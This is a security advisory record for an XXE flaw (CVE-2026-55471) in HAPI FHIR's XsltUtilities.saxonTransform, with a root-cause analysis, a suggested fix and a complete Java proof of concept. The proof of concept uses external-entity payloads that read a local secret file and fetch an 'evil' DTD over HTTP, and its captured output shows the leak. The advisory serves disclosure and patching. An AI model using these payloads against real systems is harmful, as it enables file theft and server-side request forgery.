{"id":"GHSA-2f55-g35j-5jmf","summary":"HAPI FHIR: XXE in XsltUtilities.saxonTransform via unhardened Saxon TransformerFactory","details":"### Summary\n\n`org.hl7.fhir.utilities.XsltUtilities` exposes two parallel families of XSLT\ntransform helpers. The `transform(...)` overloads obtain their\n`TransformerFactory` from the project's hardened helper\n`XMLUtil.newXXEProtectedTransformerFactory()` (which sets\n`ACCESS_EXTERNAL_DTD=\"\"` and `ACCESS_EXTERNAL_STYLESHEET=\"\"`). The sibling\n`saxonTransform(...)` overloads instead instantiate a **bare**\n`new net.sf.saxon.TransformerFactoryImpl()` with no external-access\nrestriction. A document transformed through any `saxonTransform(...)` overload\nis parsed with external general entities and external DTD/parameter entities\nenabled, so an attacker who controls (or can MITM) the transformed XML obtains\nXML External Entity injection: local file disclosure and blind XXE / SSRF to\narbitrary URLs reachable from the host.\n\n`XMLUtil` documents that its protected factory \"should be the only place where\nTransformerFactory is instantiated in this project\". The `saxonTransform`\noverloads violate that contract while their same-file `transform` siblings\nhonour it.\n\n### Affected versions\n\n`org.hl7.fhir.utilities` (Maven `ca.uhn.hapi.fhir:org.hl7.fhir.utilities`)\n`\u003c= 6.9.8` (latest release at time of report; verified live on `6.9.8`).\nThe bare `net.sf.saxon.TransformerFactoryImpl()` instantiation is present at\n`XsltUtilities.java:61`, `:91`, and `:106`.\n\n### Privilege required\n\nNone at the library boundary. The exposure depends on the calling tool: any\nFHIR component that runs `XsltUtilities.saxonTransform(...)` over XML whose\nsource document, embedded DTD, or referenced stylesheet is attacker-influenced\n(an IG package, a fetched/uploaded resource, a downloaded stylesheet, or a\nMITM'd HTTP fetch) triggers the XXE. No DOCTYPE/entity stripping occurs before\nthe Saxon parser sees the bytes.\n\n### Root cause\n\n`org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/XsltUtilities.java`:\n\n```java\n// VULNERABLE — bare factory, no external-access restriction (lines 60-73, 90-99, 105-128)\npublic static byte[] saxonTransform(Map\u003cString, byte[]\u003e files, byte[] source, byte[] xslt) throws TransformerException {\n    TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl();   // \u003c-- bare\n    f.setAttribute(\"http://saxon.sf.net/feature/version-warning\", Boolean.FALSE);\n    StreamSource xsrc = new StreamSource(new ByteArrayInputStream(xslt));\n    f.setURIResolver(new ZipURIResolver(files));\n    Transformer t = f.newTransformer(xsrc);\n    ...\n}\npublic static String saxonTransform(String source, String xslt) throws TransformerException, IOException {\n    TransformerFactoryImpl f = new net.sf.saxon.TransformerFactoryImpl();   // \u003c-- bare\n    ...\n}\n\n// HARDENED SIBLING (same file, lines 75-88 / 130-149) — negative control\npublic static byte[] transform(Map\u003cString, byte[]\u003e files, byte[] source, byte[] xslt) throws TransformerException {\n    TransformerFactory f = org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(); // \u003c-- hardened\n    ...\n}\n```\n\nThe hardened helper (`XMLUtil.newXXEProtectedTransformerFactory()`) is:\n\n```java\npublic static TransformerFactory newXXEProtectedTransformerFactory() {\n    final TransformerFactory transformerFactory = TransformerFactory.newInstance();\n    transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\");\n    transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, \"\");\n    return transformerFactory;\n}\n```\n\nThe `saxonTransform` overloads never call this helper and never set the two\n`ACCESS_EXTERNAL_*` attributes, so the underlying parser resolves external\ngeneral entities (`\u003c!ENTITY x SYSTEM \"file:///...\"\u003e`) and external\nDTD/parameter entities (`\u003c!ENTITY % p SYSTEM \"http://attacker/\"\u003e`). This is a\nclassic CWE-611. The asymmetry — one family hardened, the co-located sibling\nfamily bare — is the bug: the protection that already exists in the same class\nwas not extended to the `saxonTransform` variants.\n\n### Reproduction (E2E against published Maven Central `org.hl7.fhir.utilities:6.9.8`)\n\nA self-contained Maven project. `pom.xml` pulls the latest released artifact,\nwhich transitively brings `net.sf.saxon:Saxon-HE:11.6`.\n\n`pom.xml`:\n\n```xml\n\u003cproject xmlns=\"http://maven.apache.org/POM/4.0.0\"\u003e\n  \u003cmodelVersion\u003e4.0.0\u003c/modelVersion\u003e\n  \u003cgroupId\u003epoc\u003c/groupId\u003e\u003cartifactId\u003efhir-xslt-xxe-poc\u003c/artifactId\u003e\u003cversion\u003e1.0\u003c/version\u003e\n  \u003cproperties\u003e\n    \u003cmaven.compiler.source\u003e17\u003c/maven.compiler.source\u003e\n    \u003cmaven.compiler.target\u003e17\u003c/maven.compiler.target\u003e\n  \u003c/properties\u003e\n  \u003cdependencies\u003e\n    \u003cdependency\u003e\n      \u003cgroupId\u003eca.uhn.hapi.fhir\u003c/groupId\u003e\n      \u003cartifactId\u003eorg.hl7.fhir.utilities\u003c/artifactId\u003e\n      \u003cversion\u003e6.9.8\u003c/version\u003e\n    \u003c/dependency\u003e\n  \u003c/dependencies\u003e\n\u003c/project\u003e\n```\n\n`src/main/java/Poc.java`:\n\n```java\nimport org.hl7.fhir.utilities.XsltUtilities;\nimport java.io.*;\nimport java.net.*;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.*;\nimport java.util.*;\n\npublic class Poc {\n  static final String CANARY_MARK = \"TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2\";\n  // identity stylesheet: copies the resolved //data text into the output\n  static final String IDENTITY_XSLT =\n      \"\u003c?xml version=\\\"1.0\\\"?\u003e\\n\" +\n      \"\u003cxsl:stylesheet version=\\\"1.0\\\" xmlns:xsl=\\\"http://www.w3.org/1999/XSL/Transform\\\"\u003e\\n\" +\n      \"  \u003cxsl:output method=\\\"text\\\"/\u003e\\n\" +\n      \"  \u003cxsl:template match=\\\"/\\\"\u003e\u003cxsl:value-of select=\\\"//data\\\"/\u003e\u003c/xsl:template\u003e\\n\" +\n      \"\u003c/xsl:stylesheet\u003e\\n\";\n\n  public static void main(String[] args) throws Exception {\n    Path secret = Files.createTempFile(\"fhir-secret-\", \".txt\");\n    Files.writeString(secret, CANARY_MARK + \" :: \" + UUID.randomUUID());\n\n    final List\u003cString\u003e oobHits = Collections.synchronizedList(new ArrayList\u003c\u003e());\n    ServerSocket sentinel = new ServerSocket(0);\n    int oobPort = sentinel.getLocalPort();\n    Thread st = new Thread(() -\u003e {\n      try {\n        while (!sentinel.isClosed()) {\n          Socket s = sentinel.accept();\n          BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream(), StandardCharsets.UTF_8));\n          String line = r.readLine();\n          if (line != null) { oobHits.add(line); System.out.println(\"[SENTINEL] inbound connection: \" + line); }\n          byte[] body = \"\u003c!-- ok --\u003e\".getBytes(StandardCharsets.UTF_8); // well-formed empty external DTD\n          OutputStream os = s.getOutputStream();\n          os.write((\"HTTP/1.1 200 OK\\r\\nContent-Type: application/xml-dtd\\r\\nContent-Length: \" + body.length + \"\\r\\n\\r\\n\").getBytes());\n          os.write(body); os.flush(); s.close();\n        }\n      } catch (IOException ignored) {}\n    });\n    st.setDaemon(true); st.start();\n\n    // A1: external general entity -\u003e local secret (file read)\n    // A2: external parameter entity -\u003e attacker URL (blind XXE / SSRF)\n    String maliciousSource =\n        \"\u003c?xml version=\\\"1.0\\\"?\u003e\\n\" +\n        \"\u003c!DOCTYPE root [\\n\" +\n        \"  \u003c!ENTITY canary SYSTEM \\\"\" + secret.toUri() + \"\\\"\u003e\\n\" +\n        \"  \u003c!ENTITY % oob SYSTEM \\\"http://127.0.0.1:\" + oobPort + \"/evil-fhir-xslt-ssrf.dtd\\\"\u003e\\n\" +\n        \"  %oob;\\n\" +\n        \"]\u003e\\n\" +\n        \"\u003croot\u003e\u003cdata\u003e&canary;\u003c/data\u003e\u003c/root\u003e\\n\";\n    Path srcFile = Files.createTempFile(\"fhir-malicious-src-\", \".xml\");\n    Files.writeString(srcFile, maliciousSource);\n    Path xsltFile = Files.createTempFile(\"fhir-identity-\", \".xslt\");\n    Files.writeString(xsltFile, IDENTITY_XSLT);\n\n    System.out.println(\"=== Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK \" + System.getProperty(\"java.version\") + \" ===\");\n    System.out.println(\"=== Saxon: \" + saxonVersion() + \" ===\");\n    System.out.println(\"Secret file: \" + secret + \" (contains \" + CANARY_MARK + \")\");\n    System.out.println(\"OOB sentinel: http://127.0.0.1:\" + oobPort + \"/\\n\");\n\n    System.out.println(\"---- ATTACK: XsltUtilities.saxonTransform(source, xslt)  [BARE TransformerFactoryImpl] ----\");\n    try {\n      String out = XsltUtilities.saxonTransform(srcFile.toString(), xsltFile.toString());\n      System.out.println(\"transform output: [\" + out.trim() + \"]\");\n      System.out.println(out.contains(CANARY_MARK)\n        ? \"\u003e\u003e\u003e XXE CONFIRMED: canary leaked into XSLT output via external entity \u003c\u003c\u003c\"\n        : \"\u003e\u003e\u003e canary NOT in output \u003c\u003c\u003c\");\n    } catch (Exception e) { System.out.println(\"saxonTransform threw: \" + e); }\n    Thread.sleep(400);\n    System.out.println(\"OOB sentinel hits after BARE call: \" + oobHits + \"\\n\");\n\n    // Direct factory comparison (isolates the hardening difference)\n    System.out.println(\"---- DIRECT FACTORY COMPARISON (same malicious source, identity XSLT) ----\");\n    int b = oobHits.size();\n    System.out.println(\"[bare new TransformerFactoryImpl()]\");\n    runDirect(new net.sf.saxon.TransformerFactoryImpl(), srcFile, xsltFile, oobHits, b);\n    int b2 = oobHits.size();\n    System.out.println(\"[hardened XMLUtil.newXXEProtectedTransformerFactory()]\");\n    runDirect(org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(), srcFile, xsltFile, oobHits, b2);\n    sentinel.close();\n  }\n\n  static void runDirect(javax.xml.transform.TransformerFactory f, Path srcFile, Path xsltFile, List\u003cString\u003e oobHits, int before) throws Exception {\n    try {\n      javax.xml.transform.Transformer t = f.newTransformer(new javax.xml.transform.stream.StreamSource(Files.newInputStream(xsltFile)));\n      ByteArrayOutputStream out = new ByteArrayOutputStream();\n      t.transform(new javax.xml.transform.stream.StreamSource(Files.newInputStream(srcFile)), new javax.xml.transform.stream.StreamResult(out));\n      String s = out.toString(StandardCharsets.UTF_8).trim();\n      System.out.println(\"  output: [\" + s + \"]\");\n      System.out.println(\"  canary leaked: \" + s.contains(CANARY_MARK));\n    } catch (Exception e) {\n      System.out.println(\"  threw: \" + e.getClass().getName() + \": \" + String.valueOf(e.getMessage()).replaceAll(\"[\\\\u4e00-\\\\u9fff]\", \"?\"));\n    }\n    Thread.sleep(300);\n    System.out.println(\"  OOB sentinel hits from this call: \" + (oobHits.size() - before));\n  }\n\n  static String saxonVersion() {\n    try { return (String) Class.forName(\"net.sf.saxon.Version\").getMethod(\"getProductVersion\").invoke(null); }\n    catch (Throwable t) { return \"unknown\"; }\n  }\n}\n```\n\nRun + **verbatim captured output** (JDK 17.0.18, Saxon-HE 11.6; CJK in the\nhardened-path SAXParseException replaced with `?` by the harness for ASCII\ndisplay, the message text is `accessExternalDTD ... restriction ... 'http'\naccess not allowed`):\n\n```\n$ mvn -q compile && mvn -q exec:java -Dexec.mainClass=Poc\n=== Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK 17.0.18 ===\n=== Saxon: 11.6 ===\nSecret file: /var/folders/.../fhir-secret-467000002121832365.txt (contains TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2)\nOOB sentinel: http://127.0.0.1:62466/\n\n---- ATTACK: XsltUtilities.saxonTransform(source, xslt)  [BARE TransformerFactoryImpl] ----\n[SENTINEL] inbound connection: GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1\ntransform output: [TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: 4e3c33aa-4db1-4f22-880f-6666fedd9da4]\n\u003e\u003e\u003e XXE CONFIRMED: canary leaked into XSLT output via external entity \u003c\u003c\u003c\nOOB sentinel hits after BARE call: [GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1]\n\n---- DIRECT FACTORY COMPARISON (same malicious source, identity XSLT) ----\n[bare new TransformerFactoryImpl()]\n[SENTINEL] inbound connection: GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1\n  output: [TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: 4e3c33aa-4db1-4f22-880f-6666fedd9da4]\n  canary leaked: true\n  OOB sentinel hits from this call: 1\n[hardened XMLUtil.newXXEProtectedTransformerFactory()]\n  threw: net.sf.saxon.trans.XPathException: org.xml.sax.SAXParseException; lineNumber: 5; columnNumber: 8; ????: ???????? 'evil-fhir-xslt-ssrf.dtd', ?? accessExternalDTD ???????????? 'http' ??.\n  OOB sentinel hits from this call: 0\n```\n\nInterpretation of the verbatim output:\n\n- **Bare path** (`saxonTransform` and bare `TransformerFactoryImpl`): the local\n  secret file content (`TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: ...`) is leaked\n  into the transform output (file disclosure), and the OOB sentinel receives\n  `GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1` (blind XXE / SSRF). `canary leaked: true`,\n  OOB hits = 1.\n- **Hardened path** (`XMLUtil.newXXEProtectedTransformerFactory()`): parsing the\n  same malicious source throws an `accessExternalDTD ... 'http' access not\n  allowed` SAXParseException and the OOB sentinel receives 0 hits. The only\n  difference between the two runs is the factory: the existing project helper\n  blocks the attack, the bare sibling does not.\n\n### Impact\n\n- **Local file disclosure**: any file readable by the JVM process is exfiltrated\n  into the transform output (demonstrated above with a canary secret file).\n- **Blind XXE / SSRF**: external parameter/DTD entities cause the host to issue\n  attacker-directed HTTP(S) requests (demonstrated by the sentinel hit),\n  enabling internal-network probing and cloud metadata access from the host's\n  network position.\n- The `saxonTransform` overloads are part of the public\n  `org.hl7.fhir.utilities` API consumed across the FHIR Java tooling\n  (IG-publisher / validation / conversion utilities); any consumer that routes\n  attacker-influenced or MITM-able XML through them inherits the XXE.\n\n### Suggested fix\n\nRoute the `saxonTransform` overloads through the same protection the\n`transform` siblings already use. Because these overloads specifically need the\nSaxon implementation, obtain a Saxon factory and apply the two `ACCESS_EXTERNAL_*`\nrestrictions (mirroring `XMLUtil.newXXEProtectedTransformerFactory()`), e.g. a\nsmall helper in `XMLUtil`:\n\n```java\n@SuppressWarnings(\"checkstyle:transformerFactoryNewInstance\")\npublic static TransformerFactory newXXEProtectedSaxonTransformerFactory() {\n    final TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl();\n    f.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\");\n    f.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, \"\");\n    return f;\n}\n```\n\nand replace each `new net.sf.saxon.TransformerFactoryImpl()` in\n`XsltUtilities.saxonTransform(...)` (lines 61, 91, 106) with a call to it. This\nmirrors the existing `newXXEProtected*` convention and the class-level mandate\nthat the protected factory \"should be the only place where TransformerFactory\nis instantiated in this project\". A regression test that runs a DOCTYPE-bearing\nsource through `saxonTransform` and asserts the external entity is NOT resolved\nshould accompany the change.\n\n### Credit\n\nReported by tonghuaroot.","aliases":["CVE-2026-55471"],"modified":"2026-06-17T19:11:27.546817Z","published":"2026-06-17T18:47:51Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-06-17T18:47:51Z","nvd_published_at":null,"cwe_ids":["CWE-611"]},"references":[{"type":"WEB","url":"https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-2f55-g35j-5jmf"},{"type":"PACKAGE","url":"https://github.com/hapifhir/org.hl7.fhir.core"}],"affected":[{"package":{"name":"ca.uhn.hapi.fhir:org.hl7.fhir.utilities","ecosystem":"Maven","purl":"pkg:maven/ca.uhn.hapi.fhir/org.hl7.fhir.utilities"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.10"}]}],"versions":["0.0.1","0.0.14","0.0.2","0.1.18","1.0.0","1.1.67","4.0.0","4.0.1","4.0.2","4.0.3","4.1.0","4.2.0","5.0.0","5.0.10","5.0.11","5.0.12","5.0.13","5.0.14","5.0.15","5.0.16","5.0.17","5.0.18","5.0.19","5.0.20","5.0.21","5.0.22","5.0.7","5.0.8","5.0.9","5.1.0","5.1.1","5.1.10","5.1.11","5.1.12","5.1.13","5.1.14","5.1.15","5.1.16","5.1.17","5.1.18","5.1.19","5.1.2","5.1.20","5.1.21","5.1.22","5.1.3","5.1.4","5.1.5","5.1.6","5.1.7","5.1.8","5.1.9","5.2.0","5.2.1","5.2.10","5.2.11","5.2.12","5.2.13","5.2.16","5.2.18","5.2.19","5.2.20","5.2.3","5.2.4","5.2.5","5.2.7","5.2.8","5.2.9","5.3.0","5.3.1","5.3.10","5.3.11","5.3.12","5.3.14","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.3.7","5.3.8","5.3.9","5.4.0","5.4.1","5.4.10","5.4.11","5.4.12","5.4.2","5.4.3","5.4.4","5.4.5","5.4.6","5.4.7","5.4.8","5.4.9","5.5.1","5.5.10","5.5.11","5.5.12","5.5.13","5.5.14","5.5.15","5.5.16","5.5.2","5.5.3","5.5.4","5.5.6","5.5.7","5.5.8","5.5.9","5.6.0","5.6.1","5.6.100","5.6.101","5.6.102","5.6.103","5.6.104","5.6.105","5.6.106","5.6.107","5.6.108","5.6.109","5.6.110","5.6.111","5.6.112","5.6.113","5.6.114","5.6.115","5.6.116","5.6.117","5.6.12","5.6.13","5.6.15","5.6.17","5.6.18","5.6.19","5.6.2","5.6.20","5.6.21","5.6.22","5.6.23","5.6.24","5.6.25","5.6.26","5.6.27","5.6.28","5.6.29","5.6.3","5.6.30","5.6.31","5.6.32","5.6.33","5.6.34","5.6.35","5.6.36","5.6.37","5.6.38","5.6.39","5.6.4","5.6.40","5.6.41","5.6.42","5.6.43","5.6.44","5.6.45","5.6.46","5.6.47","5.6.48","5.6.5","5.6.50","5.6.51","5.6.52","5.6.53","5.6.54","5.6.55","5.6.56","5.6.57","5.6.58","5.6.59","5.6.6","5.6.60","5.6.61","5.6.62","5.6.63","5.6.64","5.6.65","5.6.66","5.6.67","5.6.68","5.6.69","5.6.7","5.6.70","5.6.71","5.6.72","5.6.73","5.6.74","5.6.75","5.6.76","5.6.77","5.6.78","5.6.79","5.6.80","5.6.81","5.6.82","5.6.83","5.6.84","5.6.85","5.6.86","5.6.87","5.6.88","5.6.881","5.6.89","5.6.9","5.6.90","5.6.91","5.6.92","5.6.93","5.6.94","5.6.95","5.6.96","5.6.97","5.6.971","5.6.98","5.6.99","6.0.0","6.0.1","6.0.10","6.0.11","6.0.12","6.0.13","6.0.14","6.0.15","6.0.16","6.0.17","6.0.18","6.0.19","6.0.2","6.0.20","6.0.21","6.0.22","6.0.22.1","6.0.22.2","6.0.23","6.0.24","6.0.25","6.0.3","6.0.4","6.0.5","6.0.6","6.0.7","6.0.8","6.0.9","6.1.0","6.1.1","6.1.10","6.1.11","6.1.12","6.1.13","6.1.14","6.1.15","6.1.16","6.1.2","6.1.2.1","6.1.2.2","6.1.3","6.1.4","6.1.5","6.1.6","6.1.7","6.1.8","6.1.9","6.2.0","6.2.1","6.2.10","6.2.11","6.2.12","6.2.13","6.2.14","6.2.15","6.2.2","6.2.3","6.2.4","6.2.5","6.2.6","6.2.6.1","6.2.7","6.2.8","6.2.9","6.3.0","6.3.1","6.3.10","6.3.11","6.3.12","6.3.13","6.3.14","6.3.15","6.3.16","6.3.17","6.3.18","6.3.19","6.3.2","6.3.20","6.3.21","6.3.22","6.3.23","6.3.24","6.3.25","6.3.26","6.3.27","6.3.28","6.3.29","6.3.3","6.3.30","6.3.31","6.3.32","6.3.4","6.3.5","6.3.6","6.3.7","6.3.8","6.3.9","6.4.0","6.4.1","6.4.2","6.4.3","6.4.4","6.5.0","6.5.1","6.5.10","6.5.11","6.5.12","6.5.13","6.5.14","6.5.15","6.5.16","6.5.17","6.5.18","6.5.18.1","6.5.19","6.5.2","6.5.20","6.5.21","6.5.22","6.5.23","6.5.24","6.5.25","6.5.26","6.5.27","6.5.28","6.5.3","6.5.4","6.5.5","6.5.6","6.5.7","6.5.8","6.5.9","6.6.0","6.6.1","6.6.2","6.6.3","6.6.4","6.6.5","6.6.6","6.6.7","6.7.0","6.7.1","6.7.10","6.7.11","6.7.2","6.7.3","6.7.4","6.7.5","6.7.6","6.7.7","6.7.8","6.7.9","6.8.0","6.8.1","6.8.2","6.9.0","6.9.1","6.9.2","6.9.3","6.9.4","6.9.4.1","6.9.4.2","6.9.5","6.9.6","6.9.7","6.9.8","6.9.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 6.9.9","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-2f55-g35j-5jmf/GHSA-2f55-g35j-5jmf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"}]}